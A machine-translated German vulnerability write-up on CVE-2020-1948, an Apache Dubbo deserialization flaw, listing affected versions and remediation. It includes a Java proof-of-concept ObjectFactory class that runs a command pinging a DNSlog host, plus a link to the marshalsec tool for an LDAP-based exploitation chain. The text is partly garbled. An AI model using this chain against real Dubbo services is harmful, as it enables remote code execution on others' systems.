Heim > Artikel > Betrieb und Instandhaltung > So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo
Dubbo ist ein leistungsstarkes und exzellentes Service-Framework von Alibaba, das es Anwendungen ermöglicht, Service-Ausgabe- und Eingabefunktionen über Hochleistungs-RPC zu realisieren, und das nahtlos in das Spring-Framework integriert werden kann. Das System verfügt über drei Kernfunktionen, darunter den Aufruf von Remote-Schnittstellenmethoden, intelligente Fehlertoleranz und Lastausgleich sowie die automatische Registrierung und Erkennung von Diensten.
Am 23. Juni 2020 veröffentlichte Apache Dubbo offiziell einen Risikohinweis für die Remotecodeausführung von Apache Dubbo. Die Schwachstellennummer lautet CVE-2020-1948 und die Schwachstellenstufe ist: hohes Risiko. Apache Dubbo ist ein leistungsstarkes, leichtes Open-Source-Java-RPC-Framework, das drei Kernfunktionen bietet: schnittstellenorientierter Remote-Methodenaufruf, intelligente Fehlertoleranz und Lastausgleich sowie automatische Dienstregistrierung und -erkennung. Der Apache Dubbo Provider weist eine Deserialisierungsschwachstelle auf. Ein Angreifer kann über RPC-Anfragen unbekannte Dienstnamen oder Methodennamen und einige schädliche Parameter-Payloads senden.
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (offiziell nicht mehr gewartet)
Die JDK-Versionen der Laufumgebung und der Kompilierungs-Exp-Umgebung sind beide 8u121 , Starten Sie die Testumgebung
java -jar dubbo.jar
Nach dem Start wird Port 12345 abgehört kann ausgeführt werden und ein neues calc.java erstellen,
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetdPoc kompilieren
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
Starten Sie den LDAP-Proxy-Dienst und der LDAP-Dienst überwacht Port 8086
javac calc.java
Führen Sie den Test aus Skript. DNSlog-Ansicht, Anfrage erfolgreich empfangen
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Upgrade auf Version 2.7.7 und Durchführung der Parameterüberprüfung gemäß der Methode des folgenden Links
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
Ersatzprotokoll und Deserialisierungsmethode.
Das obige ist der detaillierte Inhalt vonSo analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!